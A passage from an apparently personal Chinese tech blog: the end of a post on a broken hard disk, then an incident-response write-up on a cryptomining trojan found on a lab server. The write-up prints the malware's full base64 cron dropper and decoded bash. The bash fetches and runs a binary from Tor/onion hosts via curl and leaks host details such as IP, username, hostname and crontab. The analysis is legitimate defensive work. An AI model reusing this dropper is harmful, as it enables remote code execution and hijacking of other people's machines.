242 Total_LBAs_Read 0x0000 100 253 000 Old_age Offline - 23154170983
</pre></td></tr></tbody></table></code></pre></div></div>
<p>前面说到数据同步到了服务器,但其实服务器也不是绝对的安全,50天以前刚被人 <code class="language-plaintext highlighter-rouge">rm -rf /* </code>,过程在 https://v2ex.com/t/933914#r_12974302</p>
<blockquote>
<p>两天前,服务器 50T 的数据盘突然满了,我看日志找到了当事人,他说他清理下数据。过了三分钟,他给我说他把根目录删了。本来想输入 rm -rf ./*的,结果少写了个 . 惊出一身汗,还好他按 ctrl C 足够快,删了几秒钟就发现问题了。此时 /usr 和 /bin 路径已经被干掉了,啥命令都不好使。万幸的是,看 Grafana 日志能发现数据盘空间和 /home 占用没变,数据还在,去机房进 liveCD 把原来 /home 的数据拷到数据盘,重做系统,除了浪费了点时间,基本没啥损失。</p>
</blockquote>
<h1 id="跋">跋</h1>
<p>虽然最后没啥影响,但终归是硬盘坏了。 花了两个小时灾后重建,重新配了一些服务,这也算是提了个醒,数据需要多备份吧。</p>
<p>Take home message:</p>
<ol>
<li>重要数据务必要备份,定期备份很重要</li>
<li>关注硬盘健康状态,准备好 Plan B</li>
<li>不要让硬盘以长时间占用大部分硬盘空间的状态运行,这将造成反复擦写同一片区域,加速硬盘损坏速度。固态硬盘可能有损耗均衡算法加持,可以一定程度上缓解这个问题,但是保持关注 smart 信息仍然是很重要的,毕竟我的蜗牛星际上的 16G msata SSD 的 smart 长期报警,在去年也歇菜了。</li>
</ol>
<p>Les1ie</p>
<p>2023.6.9</p>
Fri, 09 Jun 2023 01:12:03 +0000
https://iansmith123.github.io/2023/06/09/broken-hdd/
https://iansmith123.github.io/2023/06/09/broken-hdd/
随笔
-
又一起挖矿木马排查
<h1 id="序">序</h1>
<p>组里有同学说他们机器被攻击了 :(</p>
<p><img src="https://static.scuseek.com/20210712164644.png" alt="" /></p>
<p>出现的问题是有个进程占满了 cpu,并且干不掉他</p>
<p><img src="https://static.scuseek.com/20210712165007.png" alt="" /></p>
<p>那么开搞 :)</p>
<h1 id="分析">分析</h1>
<p>登录之后看到了熟悉的随机字符串为文件名的占满了 CPU 的程序</p>
<p><img src="https://static.scuseek.com/20210713162517.png" alt="" /></p>
<p>先想到了上次帮曾大佬同学看的那台机器,于是直奔主题,看看 systemd 里面是谁把他拉起来的</p>
<p><img src="https://static.scuseek.com/20210712152849.png" alt="" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="rouge-code"><pre>● session-7.scope - Session 7 of user root
Loaded: loaded (/run/systemd/system/session-7.scope; static; vendor preset: disabled)
Drop-In: /run/systemd/system/session-7.scope.d
└─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.con
f
Active: active (abandoned) since 一 2021-07-12 10:05:01 CST; 4h 52min ago
CGroup: /user.slice/user-0.slice/session-7.scope
├─2075 tOAK5Ejl
├─2402 tracepath
└─3226 LDi4ZYIl
7月 12 14:47:44 localhost.localdomain crontab[21477]: (root) LIST (root)
7月 12 14:49:45 localhost.localdomain crontab[21591]: (root) LIST (root)
7月 12 14:49:46 localhost.localdomain crontab[21654]: (root) LIST (root)
7月 12 14:49:46 localhost.localdomain crontab[21663]: (root) LIST (root)
7月 12 14:51:48 localhost.localdomain crontab[21780]: (root) LIST (root)
7月 12 14:55:50 localhost.localdomain crontab[21971]: (root) LIST (root)
7月 12 14:55:50 localhost.localdomain crontab[21979]: (root) LIST (root)
7月 12 14:57:51 localhost.localdomain crontab[22227]: (root) REPLACE (root)
7月 12 14:57:51 localhost.localdomain crontab[22230]: (root) REPLACE (root)
7月 12 14:57:52 localhost.localdomain crontab[22289]: (root) LIST (root)
</pre></td></tr></tbody></table></code></pre></div></div>
<p>真不巧,看起来不是注册到 systemd 的,那么是谁拉起来的呢?</p>
<p>啊,是 crontab(这在我写这篇文章的时候才注意到)</p>
<p>非常不巧,我当时一心想找是哪个 service,没注意到 crontab 的存在,还以为上次的那个挖矿木马换了个 service 的名字,还去这个路径找了好久,找了半天也没有看到恶意的 service 啊</p>
<p>突然想到我还没看 crontab</p>
<p>于是打开crontab</p>
<p>发现了一条指令</p>
<p>他静静的呆在那里</p>
<p>像是在嘲笑我太菜了,这个套路都没注意到 :P</p>
<p>于是,注释掉这行,然后对着刚刚 systemd 输出的三个进程一顿 kill</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre> ├─2075 tOAK5Ejl
├─2402 tracepath
└─3226 LDi4ZYIl
</pre></td></tr></tbody></table></code></pre></div></div>
<p><img src="https://static.scuseek.com/20210712153642.png" alt="" /></p>
<p>再看看负载,瞬间安静了下来</p>
<p><img src="https://static.scuseek.com/20210712153744.png" alt="" /></p>
<p>似乎暂时搞定了,不排除还有其他后手(事后想想,当时的直觉还是对的hh</p>
<p>不过现在有线索了,去看看恶意文件的内容</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="rouge-code"><pre><span class="o">[</span>root@localhost ~]# <span class="nb">cat</span> .systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh
<span class="c">#!/bin/bash</span>
<span class="nb">exec</span> &>/dev/null
<span class="nb">echo </span>jeAozqLbO5Ni2rtDL7lwAMXluzYQMl
<span class="nb">echo </span>amVBb3pxTGJPNU5pMnJ0REw3bHdBTVhsdXpZUU1sCmV4ZWMgJj4vZGV2L251bGwKZXhwb3J0IFBBVEg9JFBBVEg6JEhPTUU6L2Jpbjovc2JpbjovdXNyL2JpbjovdXNyL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9sb2Nh
bC9zYmluCgpkPSQoZ3JlcCB4OiQoaWQgLXUpOiAvZXRjL3Bhc3N3ZHxjdXQgLWQ6IC1mNikKYz0kKGVjaG8gImN1cmwgLTRmc1NMa0EtIC1tMjAwIikKdD0kKGVjaG8gImJnZ3RzNTQ3Z3VraHZtZjRjZ2FuZGxneHhwaGVuZ3hvd
m95bzZld2huczVxbW1iMmI1b2k0M3lkIikKCnNvY2t6KCkgewpuPShkb2gudGhpcy53ZWIuaWQgZG9oLnBvc3QtZmFjdHVtLnRrIGRucy5ob3N0dXgubmV0IHVuY2Vuc29yZWQubHV4MS5kbnMubml4bmV0Lnh5eiBkbnMucnVieW
Zpc2guY24gZG5zLnR3bmljLnR3IGRvaC1maS5ibGFoZG5zLmNvbSBmaS5kb2guZG5zLnNub3B5dGEub3JnIHJlc29sdmVyLWV1LmxlbHV4LmZpIGRvaC5saSBkbnMuZGlnaXRhbGUtZ2VzZWxsc2NoYWZ0LmNoKQpwPSQoZWNobyA
iZG5zLXF1ZXJ5P25hbWU9cmVsYXkudG9yMnNvY2tzLmluIikKcz0kKCRjIGh0dHBzOi8vJHtuWyQoKFJBTkRPTSUxMSkpXX0vJHAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAn
XG4nfGdyZXAgLUV2IFsuXTB8c29ydCAtdVJ8aGVhZCAtbiAxKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAuICRIT01FIC91c3IvYmluICRkIC92YXIvdG1wIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY
2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmPS9pbnQuJCh1bmFtZSAtbSkKeD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCnI9JChjdXJsIC00ZnNTTGsgY2hlY2tpcC5hbW
F6b25hd3MuY29tfHxjdXJsIC00ZnNTTGsgaXAuc2IpXyQod2hvYW1pKV8kKHVuYW1lIC1tKV8kKHVuYW1lIC1uKV8kKGlwIGF8Z3JlcCAnaW5ldCAnfGF3ayB7J3ByaW50ICQyJ318bWQ1c3VtfGF3ayB7J3ByaW50ICQxJ30pXyQ
oY3JvbnRhYiAtbHxiYXNlNjQgLXcwKQokYyAteCBzb2NrczVoOi8vJHM6OTA1MCAkdC5vbmlvbiRmIC1vJHggLWUkciB8fCAkYyAkMSRmIC1vJHggLWUkcgpjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iy
d2ViLmluIHRvcjJ3ZWIuaXQKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzOyB0aGVuCmZleGU7dSAkdC4kaApscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wM
<span class="nv">Skvc3RhdHVzIHx8IChjZCAvdG1wO3UgJHQuJGgpCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC9kZXYvc2htO3UgJHQuJGgpCmVsc2UKYnJlYWsKZmkKZG9uZQo</span><span class="o">=</span>|base64 <span class="nt">-d</span>
|bash
</pre></td></tr></tbody></table></code></pre></div></div>
<p>并不简短的程序,主要内容是一个用 base64 编码后的命令,解开之后内容如下:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
</pre></td><td class="rouge-code"><pre>jeAozqLbO5Ni2rtDL7lwAMXluzYQMl
<span class="nb">exec</span> &>/dev/null
<span class="nb">export </span><span class="nv">PATH</span><span class="o">=</span><span class="nv">$PATH</span>:<span class="nv">$HOME</span>:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
<span class="nv">d</span><span class="o">=</span><span class="si">$(</span><span class="nb">grep </span>x:<span class="si">$(</span><span class="nb">id</span> <span class="nt">-u</span><span class="si">)</span>: /etc/passwd|cut <span class="nt">-d</span>: <span class="nt">-f6</span><span class="si">)</span>
<span class="nv">c</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"curl -4fsSLkA- -m200"</span><span class="si">)</span>
<span class="nv">t</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"bggts547gukhvmf4cgandlgxxphengxovoyo6ewhns5qmmb2b5oi43yd"</span><span class="si">)</span>
sockz<span class="o">()</span> <span class="o">{</span>
<span class="nv">n</span><span class="o">=(</span>doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com <span class="k">fi</span>.doh.dns.snopyta.org resolver-eu.lelux.
<span class="k">fi </span>doh.li dns.digitale-gesellschaft.ch<span class="o">)</span>
<span class="nv">p</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"dns-query?name=relay.tor2socks.in"</span><span class="si">)</span>
<span class="nv">s</span><span class="o">=</span><span class="si">$(</span><span class="nv">$c</span> https://<span class="k">${</span><span class="nv">n</span><span class="p">[</span><span class="k">$((</span>RANDOM%11<span class="k">))</span><span class="p">]</span><span class="k">}</span>/<span class="nv">$p</span> | <span class="nb">grep</span> <span class="nt">-oE</span> <span class="s2">"</span><span class="se">\b</span><span class="s2">([0-9]{1,3}</span><span class="se">\.</span><span class="s2">){3}[0-9]{1,3}</span><span class="se">\b</span><span class="s2">"</span> |tr <span class="s1">' '</span> <span class="s1">'\n'</span>|grep <span class="nt">-Ev</span> <span class="o">[</span>.]0|sort <span class="nt">-uR</span>|head <span class="nt">-n</span> 1<span class="si">)</span>
<span class="o">}</span>
fexe<span class="o">()</span> <span class="o">{</span>
<span class="k">for </span>i <span class="k">in</span> <span class="nb">.</span> <span class="nv">$HOME</span> /usr/bin <span class="nv">$d</span> /var/tmp <span class="p">;</span><span class="k">do </span><span class="nb">echo exit</span> <span class="o">></span> <span class="nv">$i</span>/i <span class="o">&&</span> <span class="nb">chmod</span> +x <span class="nv">$i</span>/i <span class="o">&&</span> <span class="nb">cd</span> <span class="nv">$i</span> <span class="o">&&</span> ./i <span class="o">&&</span> <span class="nb">rm</span> <span class="nt">-f</span> i <span class="o">&&</span> <span class="nb">break</span><span class="p">;</span><span class="k">done</span>
<span class="o">}</span>
u<span class="o">()</span> <span class="o">{</span>
sockz
<span class="nv">f</span><span class="o">=</span>/int.<span class="si">$(</span><span class="nb">uname</span> <span class="nt">-m</span><span class="si">)</span>
<span class="nv">x</span><span class="o">=</span>./<span class="si">$(</span><span class="nb">date</span>|md5sum|cut <span class="nt">-f1</span> <span class="nt">-d-</span><span class="si">)</span>
<span class="nv">r</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-4fsSLk</span> checkip.amazonaws.com||curl <span class="nt">-4fsSLk</span> ip.sb<span class="si">)</span>_<span class="si">$(</span><span class="nb">whoami</span><span class="si">)</span>_<span class="si">$(</span><span class="nb">uname</span> <span class="nt">-m</span><span class="si">)</span>_<span class="si">$(</span><span class="nb">uname</span> <span class="nt">-n</span><span class="si">)</span>_<span class="si">$(</span>ip a|grep <span class="s1">'inet '</span>|awk <span class="o">{</span><span class="s1">'print $2'</span><span class="o">}</span>|md5sum|awk <span class="o">{</span><span class="s1">'print $1'</span><span class="o">}</span><span class="si">)</span>_<span class="si">$(</span>crontab <span class="nt">-l</span>|base
64 <span class="nt">-w0</span><span class="si">)</span>
<span class="nv">$c</span> <span class="nt">-x</span> socks5h://<span class="nv">$s</span>:9050 <span class="nv">$t</span>.onion<span class="nv">$f</span> <span class="nt">-o</span><span class="nv">$x</span> <span class="nt">-e</span><span class="nv">$r</span> <span class="o">||</span> <span class="nv">$c</span> <span class="nv">$1$f</span> <span class="nt">-o</span><span class="nv">$x</span> <span class="nt">-e</span><span class="nv">$r</span>
<span class="nb">chmod</span> +x <span class="nv">$x</span><span class="p">;</span><span class="nv">$x</span><span class="p">;</span><span class="nb">rm</span> <span class="nt">-f</span> <span class="nv">$x</span>
<span class="o">}</span>
<span class="k">for </span>h <span class="k">in </span>tor2web.in tor2web.it
<span class="k">do
if</span> <span class="o">!</span> <span class="nb">ls</span> /proc/<span class="si">$(</span><span class="nb">head</span> <span class="nt">-n</span> 1 /tmp/.X11-unix/01<span class="si">)</span>/status<span class="p">;</span> <span class="k">then
</span>fexe<span class="p">;</span>u <span class="nv">$t</span>.<span class="nv">$h</span>
<span class="nb">ls</span> /proc/<span class="si">$(</span><span class="nb">head</span> <span class="nt">-n</span> 1 /tmp/.X11-unix/01<span class="si">)</span>/status <span class="o">||</span> <span class="o">(</span><span class="nb">cd</span> /tmp<span class="p">;</span>u <span class="nv">$t</span>.<span class="nv">$h</span><span class="o">)</span>
<span class="nb">ls</span> /proc/<span class="si">$(</span><span class="nb">head</span> <span class="nt">-n</span> 1 /tmp/.X11-unix/01<span class="si">)</span>/status <span class="o">||</span> <span class="o">(</span><span class="nb">cd</span> /dev/shm<span class="p">;</span>u <span class="nv">$t</span>.<span class="nv">$h</span><span class="o">)</span>
<span class="k">else
</span><span class="nb">break
</span><span class="k">fi
done</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>第一行随机字符串是干嘛的,我暂且不知道,这样应该会失败吧..</p>
<p>也不一定,除非,除非这是个可执行文件 :)</p>
<p>那么搜一下有没有这个可执行文件</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>find / 2>/dev/null |grep jeAozqLbO5Ni2rtDL7lwA
</pre></td></tr></tbody></table></code></pre></div></div>
<p>发现了另外的有趣的东西</p>
<p><img src="https://static.scuseek.com/20210712154430.png" alt="" /></p>
<p>再仔细看看,好家伙,还有后手</p>
<p><img src="https://static.scuseek.com/20210712154419.png" alt="" /></p>
<p>更坏的消息是,现在应该刚过了15:29,可能他又启动了</p>
<p>再看一看进程列表,果然。</p>
<p><img src="https://static.scuseek.com/20210712155201.png" alt="" /></p>
<p>要不是我想着摸鱼写一篇文章记录下,我可能就已经跑路,看不到这个剧情了 :)</p>
<p>这次不能轻易的放过他了 :)</p>
<p>先不急着杀掉他,把他的二进制搞出来分析分析</p>
<p>虽然文件被删了,但是他的文件描述符还在,所以直接把他复制出来看看,我觉得又可以丢给曾大佬玩了 :)<img src="https://static.scuseek.com/20210712155342.png" alt="" /></p>
<p>小插曲解决掉了,那么继续分析 bash 脚本。</p>
<p>为了方便阅读,我替换了一些变量名,原始的 bash 脚本可以看前面解码的内容 :)</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>sockz<span class="o">()</span> <span class="o">{</span>
<span class="nv">n</span><span class="o">=(</span>doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com <span class="k">fi</span>.doh.dns.snopyta.org resolver-eu.lelux.
<span class="k">fi </span>doh.li dns.digitale-gesellschaft.ch<span class="o">)</span>
<span class="nv">p</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"dns-query?name=relay.tor2socks.in"</span><span class="si">)</span>
<span class="nv">s</span><span class="o">=</span><span class="si">$(</span><span class="nv">$c</span> https://<span class="k">${</span><span class="nv">n</span><span class="p">[</span><span class="k">$((</span>RANDOM%11<span class="k">))</span><span class="p">]</span><span class="k">}</span>/<span class="nv">$p</span> | <span class="nb">grep</span> <span class="nt">-oE</span> <span class="s2">"</span><span class="se">\b</span><span class="s2">([0-9]{1,3}</span><span class="se">\.</span><span class="s2">){3}[0-9]{1,3}</span><span class="se">\b</span><span class="s2">"</span> |tr <span class="s1">' '</span> <span class="s1">'\n'</span>|grep <span class="nt">-Ev</span> <span class="o">[</span>.]0|sort <span class="nt">-uR</span>|head <span class="nt">-n</span> 1<span class="si">)</span>
<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">sockz</code>函数看起来是想要通过 doh 查询 ip,这一招可以说是很妙了,直接绕过了各大厂商IDS里面恶意域名的 IOC。其中 <code class="language-plaintext highlighter-rouge">dns.rubyfish.cn</code> 这个域名,以及后面出现的<code class="language-plaintext highlighter-rouge">ip.sb</code>,这两个域名在国内的互联网圈子里面可能比较流行,暂不清楚在国外的知名度有多少。所以我可能比较倾向于这个挖矿木马是国内的黑产团队搞的。</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>fexe<span class="o">()</span> <span class="o">{</span>
<span class="k">for </span>i <span class="k">in</span> <span class="nb">.</span> <span class="nv">$HOME</span> /usr/bin /root /var/tmp <span class="p">;</span><span class="k">do </span><span class="nb">echo exit</span> <span class="o">></span> <span class="nv">$i</span>/i <span class="o">&&</span> <span class="nb">chmod</span> +x <span class="nv">$i</span>/i <span class="o">&&</span> <span class="nb">cd</span> <span class="nv">$i</span> <span class="o">&&</span> ./i <span class="o">&&</span> <span class="nb">rm</span> <span class="nt">-f</span> i <span class="o">&&</span> <span class="nb">break</span><span class="p">;</span><span class="k">done</span>
<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">fexe</code> 看起来是在这几个路径里面寻找一个有读写权限的路径。</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre>u<span class="o">()</span> <span class="o">{</span>
sockz
<span class="nv">f</span><span class="o">=</span>/int.<span class="si">$(</span><span class="nb">uname</span> <span class="nt">-m</span><span class="si">)</span>
<span class="nv">x</span><span class="o">=</span>./<span class="si">$(</span><span class="nb">date</span>|md5sum|cut <span class="nt">-f1</span> <span class="nt">-d-</span><span class="si">)</span>
<span class="nv">r</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-4fsSLk</span> checkip.amazonaws.com||curl <span class="nt">-4fsSLk</span> ip.sb<span class="si">)</span>_<span class="si">$(</span><span class="nb">whoami</span><span class="si">)</span>_<span class="si">$(</span><span class="nb">uname</span> <span class="nt">-m</span><span class="si">)</span>_<span class="si">$(</span><span class="nb">uname</span> <span class="nt">-n</span><span class="si">)</span>_<span class="si">$(</span>ip a|grep <span class="s1">'inet '</span>|awk <span class="o">{</span><span class="s1">'print $2'</span><span class="o">}</span>|md5sum|awk <span class="o">{</span><span class="s1">'print $1'</span><span class="o">}</span><span class="si">)</span>_<span class="si">$(</span>crontab <span class="nt">-l</span>|base
64 <span class="nt">-w0</span><span class="si">)</span>
curl <span class="nt">-x</span> socks5h://<span class="nv">$s</span>:9050 bggts547gukhvmf4cgandlgxxphengxovoyo6ewhns5qmmb2b5oi43yd.onion<span class="nv">$f</span> <span class="nt">-oevil_file_name</span> <span class="nt">-e</span><span class="nv">$r</span> <span class="o">||</span> curl <span class="nv">$1$f</span> <span class="nt">-oevil_file_name</span> <span class="nt">-e</span><span class="nv">$r</span>
<span class="nb">chmod</span> +x evil_file_name<span class="p">;</span>evil_file_name<span class="p">;</span><span class="nb">rm</span> <span class="nt">-f</span> evil_file_name
<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>函数 <code class="language-plaintext highlighter-rouge">u()</code> 是主要内容了,他生成了随机的文件名,通过 tor 代理,根据设备的架构下载了一个恶意文件<code class="language-plaintext highlighter-rouge">/int.$(uname -m)</code>,如<code class="language-plaintext highlighter-rouge">/int.x86_64</code>,然后执行这个恶意文件并且删除他。</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="si">$(</span>curl <span class="nt">-4fsSLk</span> checkip.amazonaws.com||curl <span class="nt">-4fsSLk</span> ip.sb<span class="si">)</span>_<span class="si">$(</span><span class="nb">whoami</span><span class="si">)</span>_<span class="si">$(</span><span class="nb">uname</span> <span class="nt">-m</span><span class="si">)</span>_<span class="si">$(</span><span class="nb">uname</span> <span class="nt">-n</span><span class="si">)</span>_<span class="si">$(</span>ip a|grep <span class="s1">'inet '</span>|awk <span class="o">{</span><span class="s1">'print $2'</span><span class="o">}</span>|md5sum|awk <span class="o">{</span><span class="s1">'print $1'</span><span class="o">}</span><span class="si">)</span>_<span class="si">$(</span>crontab <span class="nt">-l</span>|base
64 <span class="nt">-w0</span><span class="si">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>这一行把设备的一些基本信息打包了一下,包括 ip地址、主机名、crontab内容。这里是 or 的关系,推测是如果执行失败那就上报设备信息。</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre><span class="k">for </span>h <span class="k">in </span>tor2web.in tor2web.it
<span class="k">do
if</span> <span class="o">!</span> <span class="nb">ls</span> /proc/<span class="si">$(</span><span class="nb">head</span> <span class="nt">-n</span> 1 /tmp/.X11-unix/01<span class="si">)</span>/status<span class="p">;</span> <span class="k">then
</span>fexe<span class="p">;</span>u <span class="nv">$t</span>.<span class="nv">$h</span>
<span class="nb">ls</span> /proc/<span class="si">$(</span><span class="nb">head</span> <span class="nt">-n</span> 1 /tmp/.X11-unix/01<span class="si">)</span>/status <span class="o">||</span> <span class="o">(</span><span class="nb">cd</span> /tmp<span class="p">;</span>u <span class="nv">$t</span>.<span class="nv">$h</span><span class="o">)</span>
<span class="nb">ls</span> /proc/<span class="si">$(</span><span class="nb">head</span> <span class="nt">-n</span> 1 /tmp/.X11-unix/01<span class="si">)</span>/status <span class="o">||</span> <span class="o">(</span><span class="nb">cd</span> /dev/shm<span class="p">;</span>u <span class="nv">$t</span>.<span class="nv">$h</span><span class="o">)</span>
<span class="k">else
</span><span class="nb">break
</span><span class="k">fi
done</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>程序执行流程就比较容易看懂,根据 pid 文件判断程序是否启动了,如果没启动,那么就启动程序。</p>
<h1 id="二进制文件分析">二进制文件分析</h1>
<p>这个二进制文件什么都过滤不出来,但是过滤出来了一个字符串:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>PROT_EXEC|PROT_WRITE failed.
</pre></td></tr></tbody></table></code></pre></div></div>
<p><img src="https://static.scuseek.com/20210712171324.png" alt="" /></p>
<p>搜一下这个字符串,可以发现有人在 stackoverflow 提了这样一个<a href="https://unix.stackexchange.com/questions/419242/strange-linux-binary">问题</a>,问题的内容里面有这个关键字</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>$strings exe_file
UPX!
.....
PROT_EXEC|PROT_WRITE failed.
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.91 Copyright (C) 1996-2013 the UPX Team. All Rights Reserved. $
</pre></td></tr></tbody></table></code></pre></div></div>
<p>看到了 upx 不禁眼前一亮,我之前就猜测这是 upx 加壳了,但是去除了 upx 的特征,导致过滤不出任何关键字来。</p>
<p>那么 <code class="language-plaintext highlighter-rouge">upx -d</code> 一把梭</p>
<p><img src="https://static.scuseek.com/20210712171854.png" alt="" /></p>
<p>非常棒,不能一键脱壳,那么我搞不动了 :)</p>
<p>找了些 upx 去特征的帖子,看了后我不想动手了,太多可以玩的地方了</p>
<p>首先,他可能去掉了一些 upx 识别自己压缩过的特征字符串,不过这个可以自己新建一个 upx 文件把内容复制过来。</p>
<p>其次,我不知道他是哪一种压缩等级,不过这个可以枚举解决,只是可能会花点时间。</p>
<p>最重要的一点,又到了组会的时候了,我不能再摸鱼了,不然导师问我干了啥,我又啥也没干 :)</p>
<p>这个问题暂时就不搞了 :)</p>
<h1 id="入侵溯源">入侵溯源</h1>
<p>那么对面是怎么打进来的呢?</p>
<p>centos7有记录 crontab 日志的地方,查看 crontab 的编辑记录就知道是在9号下午 12:55:01 首次编辑 crontab 的</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>[root@localhost log]# cat cron*|grep RELOAD
Jul 12 12:38:01 localhost crond[12721]: (root) RELOAD (/var/spool/cron/root)
Jul 12 15:08:01 localhost crond[22892]: (root) RELOAD (/var/spool/cron/root)
Jul 12 15:34:01 localhost crond[25783]: (root) RELOAD (/var/spool/cron/root)
Jul 9 12:55:01 localhost crond[2554]: (root) RELOAD (/var/spool/cron/root)
Jul 9 14:30:01 localhost crond[15227]: (root) RELOAD (/var/spool/cron/root)
Jul 9 15:37:01 localhost crond[24166]: (root) RELOAD (/var/spool/cron/root)
</pre></td></tr></tbody></table></code></pre></div></div>
<p>那么,从<code class="language-plaintext highlighter-rouge">2021.6.13</code> 开始,到<code class="language-plaintext highlighter-rouge">2021.7.12</code>,执行的crontab的记录再反复过滤,运用人工的启发式搜索算法 :)</p>
<p><img src="https://static.scuseek.com/20210712193241.png" alt="" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
</pre></td><td class="rouge-code"><pre>Jul 12 10:29:01 localhost CROND[4295]: (root) CMD (/opt/systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh > /dev/null 2>&1 &)Jul 12 11:29:01 localhost CROND[8070]: (root) CMD (/opt/systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh > /dev/null 2>&1 &)
Jul 12 12:05:01 localhost CROND[10604]: (root) CMD (/root/.systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh > /dev/null 2>&1 &)
Jul 12 12:29:01 localhost CROND[12158]: (root) CMD (/opt/systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh > /dev/null 2>&1 &)
Jul 12 13:05:01 localhost CROND[14585]: (root) CMD (/root/.systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh > /dev/null 2>&1 &)
Jul 12 14:05:01 localhost CROND[18502]: (root) CMD (/root/.systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh > /dev/null 2>&1 &)
